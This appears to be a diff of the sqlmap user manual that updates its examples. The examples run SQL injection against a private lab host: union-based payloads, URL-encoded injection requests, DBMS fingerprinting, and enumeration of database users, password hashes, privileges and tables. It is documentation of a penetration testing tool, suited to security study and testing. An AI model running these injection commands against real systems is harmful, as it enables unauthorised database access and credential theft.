-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 \ --union-use --banner [...] -[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection +[hh:mm:25] [INFO] the target url is affected by an exploitable full inband sql injection vulnerability [hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78), -IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL-- -AND 6043=6043 +VERSION(),CHAR(122,110,105,89,121,65)), NULL# AND 6043=6043 [hh:mm:25] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898 %2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29 -%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2 -06043=6043&cat=2 HTTP/1.1 +%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL%23%20AND%2 +06043=6043 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close @@ -1611,12 +1947,12 @@ Content-Type: text/html <b>SQL results:</b> <table border="1"> <tr><td>1</td><td>luther</td><td>blissett</td></tr> -<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr> +<tr><td></td><td>FPMIFA5.0.67-0ubuntu6zFQAiQ</td><td></td></tr> </table> </body></html> [hh:mm:25] [INFO] performed 3 queries in 0 seconds -banner: '5.0.51a-3ubuntu5.2' +banner: '5.0.67-0ubuntu6'TODO: details on partial ...
+5.5 Fingerprint
@@ -1639,52 +1977,74 @@ returns a known static value. By comparing this value with the returned value it is possible to identify if the back-end database is effectively the one that sqlmap expected.After identifying an injectable vector, sqlmap fingerprints the back-end -database management system and performs the following queries with their +database management system and go ahead with the injection with their specific syntax within the limits of the database architecture.
-If you want to perform a more accurate database management system -fingerprint based on various techniques like specific SQL dialects and -inband error messages, you can provide the
---fingerprint
option.The order of database management systems that sqlmap tests for is:
--
-
- -- MySQL
-- Oracle
-- PostgreSQL
-- Microsoft SQL Server
-Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
+ + +
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 [...] -[hh:mm:02] [INFO] testing MySQL -[hh:mm:02] [INFO] query: CONCAT(CHAR(52), CHAR(52)) -[hh:mm:02] [INFO] retrieved: 44 -[hh:mm:02] [INFO] performed 20 queries in 0 seconds -[hh:mm:02] [INFO] confirming MySQL -[hh:mm:02] [INFO] query: LENGTH(CHAR(52)) -[hh:mm:02] [INFO] retrieved: 1 -[hh:mm:02] [INFO] performed 13 queries in 0 seconds -[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 -[hh:mm:02] [INFO] retrieved: 4 -[hh:mm:02] [INFO] performed 13 queries in 0 seconds -[hh:mm:02] [INFO] query: DATABASE() -[hh:mm:02] [INFO] retrieved: test -[hh:mm:02] [INFO] performed 34 queries in 0 seconds -[hh:mm:02] [INFO] query: SCHEMA() -[hh:mm:02] [INFO] retrieved: test -[hh:mm:02] [INFO] performed 34 queries in 0 seconds -[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1 -[hh:mm:02] [INFO] retrieved: -[hh:mm:02] [INFO] performed 6 queries in 0 seconds -[hh:mm:02] [INFO] executing MySQL comment injection fingerprint -back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1 - comment injection fingerprint: MySQL 5.0.51 - html error message fingerprint: MySQL +[hh:mm:14] [INFO] testing MySQL +[hh:mm:14] [INFO] query: CONCAT(CHAR(51), CHAR(51)) +[hh:mm:14] [INFO] retrieved: 33 +[hh:mm:14] [INFO] performed 20 queries in 0 seconds +[hh:mm:14] [INFO] confirming MySQL +[hh:mm:14] [INFO] query: LENGTH(CHAR(51)) +[hh:mm:14] [INFO] retrieved: 1 +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +[hh:mm:14] [INFO] query: SELECT 3 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:14] [INFO] retrieved: 3 +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: MySQL >= 5.0.0 ++As you can see, sqlmap automatically fingerprints the web server operating +system and the web application technology by parsing some HTTP response headers.
+ +If you want to perform an extensive database management system fingerprint +based on various techniques like specific SQL dialects and inband error +messages, you can provide the
+ +--fingerprint
option.Example on a MySQL 5.0.67 target:
++
@@ -1693,7 +2053,7 @@ back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f + +[...] +[hh:mm:14] [INFO] testing MySQL +[hh:mm:14] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:14] [INFO] retrieved: 44 +[hh:mm:14] [INFO] performed 20 queries in 0 seconds +[hh:mm:14] [INFO] confirming MySQL +[hh:mm:14] [INFO] query: LENGTH(CHAR(52)) +[hh:mm:14] [INFO] retrieved: 1 +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +[hh:mm:14] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:14] [INFO] retrieved: 4 +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +[hh:mm:14] [INFO] query: SELECT 4 FROM information_schema.PARAMETERS LIMIT 0, 1 +[hh:mm:14] [INFO] retrieved: +[hh:mm:14] [INFO] performed 6 queries in 0 seconds +[hh:mm:14] [INFO] query: MID(@@plugin_dir, 1, 1) +[hh:mm:14] [INFO] retrieved: +[hh:mm:14] [INFO] performed 6 queries in 0 seconds +[hh:mm:14] [INFO] query: MID(@@hostname, 1, 1) +[hh:mm:14] [INFO] retrieved: n +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +[hh:mm:14] [INFO] executing MySQL comment injection fingerprint +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2 + comment injection fingerprint: MySQL 5.0.67 + html error message fingerprint: MySQL
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -v 1 -f +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -v 1 -f [...] [hh:mm:26] [WARNING] the back-end DMBS is not MySQL @@ -1705,46 +2065,53 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&c [hh:mm:26] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1 [hh:mm:26] [INFO] retrieved: 10.2.0.1.0 [hh:mm:27] [INFO] performed 76 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: active fingerprint: Oracle 10g html error message fingerprint: OracleExample on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -f +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -f [...] -[hh:mm:56] [WARNING] the back-end DMBS is not Oracle -[hh:mm:56] [INFO] testing PostgreSQL -[hh:mm:56] [INFO] query: COALESCE(7, NULL) -[hh:mm:56] [INFO] retrieved: 7 -[hh:mm:56] [INFO] performed 13 queries in 0 seconds -[hh:mm:56] [INFO] confirming PostgreSQL -[hh:mm:56] [INFO] query: LENGTH((CHR(55))) -[hh:mm:56] [INFO] retrieved: 1 -[hh:mm:56] [INFO] performed 13 queries in 0 seconds -[hh:mm:56] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1) -[hh:mm:56] [INFO] retrieved: 2 -[hh:mm:56] [INFO] performed 13 queries in 0 seconds -back-end DBMS: active fingerprint: PostgreSQL >= 8.2.0 - html error message fingerprint: PostgreSQL +[hh:mm:48] [WARNING] the back-end DMBS is not Oracle +[hh:mm:48] [INFO] testing PostgreSQL +[hh:mm:48] [INFO] query: COALESCE(6, NULL) +[hh:mm:48] [INFO] retrieved: 6 +[hh:mm:48] [INFO] performed 13 queries in 0 seconds +[hh:mm:48] [INFO] confirming PostgreSQL +[hh:mm:48] [INFO] query: LENGTH(CHR(54)) +[hh:mm:48] [INFO] retrieved: 1 +[hh:mm:48] [INFO] performed 13 queries in 0 seconds +[hh:mm:48] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1) +[hh:mm:48] [INFO] retrieved: 2 +[hh:mm:48] [INFO] performed 13 queries in 0 seconds +[hh:mm:48] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1) +[hh:mm:48] [INFO] retrieved: +[hh:mm:48] [INFO] performed 6 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0 + html error message fingerprint: PostgreSQLAs you can see from this last example, sqlmap first tested for MySQL, then for Oracle, then for PostgreSQL since the user did not forced the -back-end database management system name.
+back-end database management system name with option--dbms
.Example on a Microsoft SQL Server 2000 Service Pack 0 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f [...] [hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL @@ -1755,6 +2122,8 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&ca [hh:mm:41] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1) [hh:mm:41] [INFO] retrieved: 0 [hh:mm:41] [INFO] performed 13 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: active fingerprint: Microsoft SQL Server 2000 html error message fingerprint: Microsoft SQL Server@@ -1764,51 +2133,57 @@ back-end DBMS: active fingerprint: Microsoft SQL Server 2000If you want an even more accurate result, based also on banner parsing, you can also provide the
--b
or--banner
option.Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
+
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f -b +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f -b [...] -[hh:mm:11] [INFO] testing MySQL -[hh:mm:11] [INFO] query: CONCAT(CHAR(52), CHAR(52)) -[hh:mm:11] [INFO] retrieved: 44 -[hh:mm:11] [INFO] performed 20 queries in 0 seconds -[hh:mm:11] [INFO] confirming MySQL -[hh:mm:11] [INFO] query: LENGTH(CHAR(52)) -[hh:mm:11] [INFO] retrieved: 1 -[hh:mm:11] [INFO] performed 13 queries in 0 seconds -[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 -[hh:mm:11] [INFO] retrieved: 4 -[hh:mm:11] [INFO] performed 13 queries in 0 seconds -[hh:mm:11] [INFO] query: DATABASE() -[hh:mm:11] [INFO] retrieved: test -[hh:mm:11] [INFO] performed 34 queries in 0 seconds -[hh:mm:11] [INFO] query: SCHEMA() -[hh:mm:11] [INFO] retrieved: test -[hh:mm:11] [INFO] performed 34 queries in 0 seconds -[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1 -[hh:mm:11] [INFO] retrieved: -[hh:mm:11] [INFO] performed 6 queries in 0 seconds -[hh:mm:11] [INFO] query: VERSION() -[hh:mm:11] [INFO] retrieved: 5.0.51a-3ubuntu5.2 -[hh:mm:12] [INFO] performed 132 queries in 0 seconds -[hh:mm:12] [INFO] executing MySQL comment injection fingerprint -back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1 - comment injection fingerprint: MySQL 5.0.51 - banner parsing fingerprint: MySQL 5.0.51 - html error message fingerprint: MySQL +[hh:mm:24] [INFO] testing MySQL +[hh:mm:24] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:24] [INFO] retrieved: 44 +[hh:mm:24] [INFO] performed 20 queries in 0 seconds +[hh:mm:24] [INFO] confirming MySQL +[hh:mm:24] [INFO] query: LENGTH(CHAR(52)) +[hh:mm:24] [INFO] retrieved: 1 +[hh:mm:24] [INFO] performed 13 queries in 0 seconds +[hh:mm:24] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:24] [INFO] retrieved: 4 +[hh:mm:24] [INFO] performed 13 queries in 0 seconds +[hh:mm:24] [INFO] query: VERSION() +[hh:mm:24] [INFO] retrieved: 5.0.67-0ubuntu6 +[hh:mm:25] [INFO] performed 111 queries in 0 seconds +[hh:mm:25] [INFO] query: SELECT 4 FROM information_schema.PARAMETERS LIMIT 0, 1 +[hh:mm:25] [INFO] retrieved: +[hh:mm:25] [INFO] performed 6 queries in 0 seconds +[hh:mm:25] [INFO] query: MID(@@plugin_dir, 1, 1) +[hh:mm:25] [INFO] retrieved: +[hh:mm:25] [INFO] performed 6 queries in 0 seconds +[hh:mm:25] [INFO] query: MID(@@hostname, 1, 1) +[hh:mm:25] [INFO] retrieved: n +[hh:mm:25] [INFO] performed 13 queries in 0 seconds +[hh:mm:25] [INFO] executing MySQL comment injection fingerprint +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2 + comment injection fingerprint: MySQL 5.0.67 + banner parsing fingerprint: MySQL 5.0.67 + html error message fingerprint: MySQL [...]As you can see, sqlmap was able to fingerprint also the back-end DBMS +operating system by parsing the DBMS banner value.
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f -b +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f -b [...] [hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL @@ -1826,16 +2201,20 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&ca Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) [hh:mm:08] [INFO] performed 1308 queries in 4 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS operating system: Windows 2000 Service Pack 4 back-end DBMS: active fingerprint: Microsoft SQL Server 2000 banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0 version 8.00.194 html error message fingerprint: Microsoft SQL Server +[...]As you can see, from the Microsoft SQL Server banner, sqlmap was able to -correctly identify the database management system service pack. +correctly identify the database management system patch level. The Microsoft SQL Server XML versions file is the result of a sqlmap parsing library that fetches data from Chip Andrews' SQLSecurity.com site and outputs it to the XML versions file.
@@ -1855,25 +2234,25 @@ been compiled on, the operating system architecture, its service pack. Usually this function isversion()
or the@@version
environment variable. -Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -b +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -b -v 0 -banner: '5.0.51a-3ubuntu5.2' +banner: '5.0.67-0ubuntu6'Example on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
@@ -1882,7 +2261,7 @@ banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 0 -banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu -4.2.3-2ubuntu4)' +banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real +(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -b -v 0 banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'@@ -1893,7 +2272,7 @@ banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -b +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -b -v 0 banner: --- @@ -1914,11 +2293,11 @@ Microsoft SQL Server 2000 - 8.00.194 (Intel X86)It is possible to retrieve the database management system's user which is effectively performing the query on the database from the web application.
-Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
-python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --current-user +python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --current-user -v 0 current user: 'testuser@localhost'@@ -1937,7 +2316,7 @@ web application is connected to.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --current-db +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --current-db -v 0 current database: 'master'@@ -1951,11 +2330,11 @@ current database: 'master'It is possible to enumerate the list of database management system users.
-Example on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --users +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v 0 database management system users [3]: [*] postgres @@ -1973,11 +2352,11 @@ database management system users [3]:It is possible to enumerate the password hashes for each database management system user.
-Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --passwords +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0 [*] debian-sys-maint [1]: password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892 @@ -1996,8 +2375,8 @@ want to enumerate the password hashes.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --passwords \ - -U sa +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords \ + -U sa -v 0 database management system users password hashes: [*] sa [1]: @@ -2014,6 +2393,43 @@ ba9930b62ee5d506955As you can see, when you enumerate password hashes on Microsoft SQL Server sqlmap split the hash, useful if you want to crack it.
+If you provide
+ +CU
as username it will consider it as an alias for +current user and will retrieve the password hashes for this user.Example on a PostgreSQL 8.3.5 target:
++
+ ++
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --passwords \ + -U CU -v 1 + +[...] +back-end DBMS: PostgreSQL + +[hh:mm:48] [INFO] fetching current user +[hh:mm:48] [INFO] query: COALESCE(CAST(CURRENT_USER AS CHARACTER(10000)), CHR(32)) +[hh:mm:48] [INFO] retrieved: postgres +[hh:mm:49] [INFO] performed 62 queries in 0 seconds +[hh:mm:49] [INFO] fetching database users password hashes for current user +[hh:mm:49] [INFO] fetching number of password hashes for user 'postgres' +[hh:mm:49] [INFO] query: SELECT COALESCE(CAST(COUNT(DISTINCT(passwd)) AS CHARACTER(10000)), +CHR(32)) FROM pg_shadow WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)|| +CHR(114)||CHR(101)||CHR(115) +[hh:mm:49] [INFO] retrieved: 1 +[hh:mm:49] [INFO] performed 13 queries in 0 seconds +[hh:mm:49] [INFO] fetching password hashes for user 'postgres' +[hh:mm:49] [INFO] query: SELECT DISTINCT(COALESCE(CAST(passwd AS CHARACTER(10000)), +CHR(32))) FROM pg_shadow WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)|| +CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1 +[hh:mm:49] [INFO] retrieved: md5d7d880f96044b72d0bba108ace96d1e4 +[hh:mm:51] [INFO] performed 251 queries in 2 seconds +database management system users password hashes: +[*] postgres [1]: + password hash: md5d7d880f96044b72d0bba108ace96d1e4 ++Users privileges
@@ -2026,7 +2442,7 @@ system user.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --privileges +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0 [hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS' [hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP' @@ -2091,12 +2507,12 @@ database management system users privileges:You can also provide the
--U
option to specify the user who you want to enumerate the privileges.Example on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --privileges \ - -U postgres +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges \ + -U postgres -v 0 database management system users privileges: [*] postgres (administrator) [3]: @@ -2108,9 +2524,60 @@ database management system users privileges:As you can see, depending on the user privileges, sqlmap identifies if the -user is a database management system administrator and show after the +user is a database management system administrator and show next to the username this information.
+If you provide
+ +CU
as username it will consider it as an alias for +current user and will enumerate the privileges for this user.Example on a PostgreSQL 8.3.5 target:
++
+ ++
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --passwords \ + -U CU -v 1 + +[...] +back-end DBMS: PostgreSQL + +[hh:mm:25] [INFO] fetching current user +[hh:mm:25] [INFO] query: COALESCE(CAST(CURRENT_USER AS CHARACTER(10000)), CHR(32)) +[hh:mm:25] [INFO] retrieved: postgres +[hh:mm:25] [INFO] performed 62 queries in 0 seconds +[hh:mm:25] [INFO] fetching database users privileges for current user +[hh:mm:25] [INFO] fetching number of privileges for user 'postgres' +[hh:mm:25] [INFO] query: SELECT COALESCE(CAST(COUNT(DISTINCT(usename)) AS CHARACTER(10000)), +CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)|| +CHR(114)||CHR(101)||CHR(115) +[hh:mm:25] [INFO] retrieved: 1 +[hh:mm:25] [INFO] performed 13 queries in 0 seconds +[hh:mm:25] [INFO] fetching privileges for user 'postgres' +[hh:mm:25] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it +into distinct queries to be able to retrieve the output even if we are going blind +[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usecreatedb THEN 1 ELSE 0 END) AS +CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)|| +CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1 +[hh:mm:25] [INFO] retrieved: 1 +[hh:mm:25] [INFO] performed 13 queries in 0 seconds +[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usesuper THEN 1 ELSE 0 END) AS +CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)|| +CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1 +[hh:mm:25] [INFO] retrieved: 1 +[hh:mm:25] [INFO] performed 13 queries in 0 seconds +[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usecatupd THEN 1 ELSE 0 END) AS +CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)|| +CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1 +[hh:mm:25] [INFO] retrieved: 1 +[hh:mm:25] [INFO] performed 13 queries in 0 seconds +database management system users privileges: +[*] postgres (administrator) [3]: + privilege: catupd + privilege: createdb + privilege: super ++Note that this feature is not available if the back-end database management system is Microsoft SQL Server.
@@ -2125,7 +2592,7 @@ management system is Microsoft SQL Server.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dbs +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0 available databases [6]: [*] master @@ -2148,11 +2615,11 @@ management system is Oracle.It is possible to enumerate the list of tables for all database manangement system's databases.
-Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables -v 0 Database: test [1 table] @@ -2210,12 +2677,12 @@ Database: mysqlYou can also provide the
--D
option to specify the database that you want to enumerate the tables.Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables \ - -D test +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables \ + -D test -v 0 Database: test [1 table] @@ -2230,8 +2697,8 @@ Database: test
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --tables \ - -D users +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --tables \ + -D users -v 0 Database: USERS [8 tables] @@ -2261,15 +2728,50 @@ user.It is possible to enumerate the list of columns for a specific database table. -This functionality depends on both
+This functionality depends on the-T
to specify the table name -and on-D
to specify the database name.-T
to specify the table name +and optionally on-D
to specify the database name. +If the database name is not specified, the current database name is used by +sqlmap. + +Example on a MySQL 5.0.67 target:
++
++
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns \ + -T users -v 1 + +[...] +back-end DBMS: MySQL >= 5.0.0 + +[15:54:25] [WARNING] missing database parameter, sqlmap is going to use the current +database to enumerate table 'users' columns +[15:54:25] [INFO] fetching current database +[15:54:25] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32)) +[15:54:25] [INFO] retrieved: test +[15:54:25] [INFO] performed 34 queries in 0 seconds +[15:54:25] [INFO] fetching columns for table 'users' on database 'test' +[15:54:25] [INFO] fetching number of columns for table 'users' on database 'test' +[...] +Database: test +Table: users +[3 columns] ++---------+-------------+ +| Column | Type | ++---------+-------------+ +| id | int(11) | +| name | varchar(40) | +| surname | varchar(60) | ++---------+-------------+ ++Example on a Microsoft SQL Server 2000 Service Pack 0 target:
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --columns \ - -T users -D master +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --columns \ + -T users -D master -v 0 Database: master Table: users @@ -2285,12 +2787,12 @@ Table: usersExample on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --columns \ - -T users -D public +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --columns \ + -T users -D public -v 0 Database: public Table: users @@ -2318,16 +2820,28 @@ is connected to, which is alwayspublic
.--start
and--stop
It is possible to dump the entries for a specific database table. -This functionality depends on both
+This functionality depends on the-T
to specify the table name -and on-D
to specify the database name.-T
to specify the table name +and optionally on-D
to specify the database name. +If the database name is not specified, the current database name is used by +sqlmap. -Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
